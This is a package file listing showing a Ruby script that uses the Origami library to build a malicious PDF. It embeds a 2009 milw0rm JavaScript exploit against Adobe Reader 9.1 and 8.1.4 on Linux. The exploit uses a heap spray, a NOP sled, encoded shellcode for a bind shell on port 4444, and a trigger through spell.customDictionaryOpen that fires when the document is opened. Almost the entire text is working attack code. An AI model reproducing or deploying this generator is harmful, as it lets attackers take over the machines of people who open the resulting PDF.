Sha256: 54e36957e537f3d73ce8a11af4c2acf6e4ec4080b049230aa02737abbc6093c4
Contents?: true
Size: 1.46 KB
Versions: 4
Compression:
Stored size: 1.46 KB
Contents
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) jscript = %Q| //############## //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux //############## app.alert('start heap spray...'); var memory; var nop = unescape("%u9090%u9090"); var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444 while(nop.length <= 0x10000/2) { nop += nop; } nop = nop.substring(0,0x10000/2 - shellcode.length); memory = new Array(); for (i=0; i<0x6ff0; i++) { memory[i] = nop + shellcode; } //start exploit now start(); function start() { this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141 } //############################ //# milw0rm.com [2009-04-29] | #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])) exploit = Action::JavaScript.new(Stream.new(jscript)) pdf.onDocumentOpen( exploit ) pdf.save("#{File.basename($0, '.rb')}.pdf")
Version data entries
4 entries across 4 versions & 1 rubygems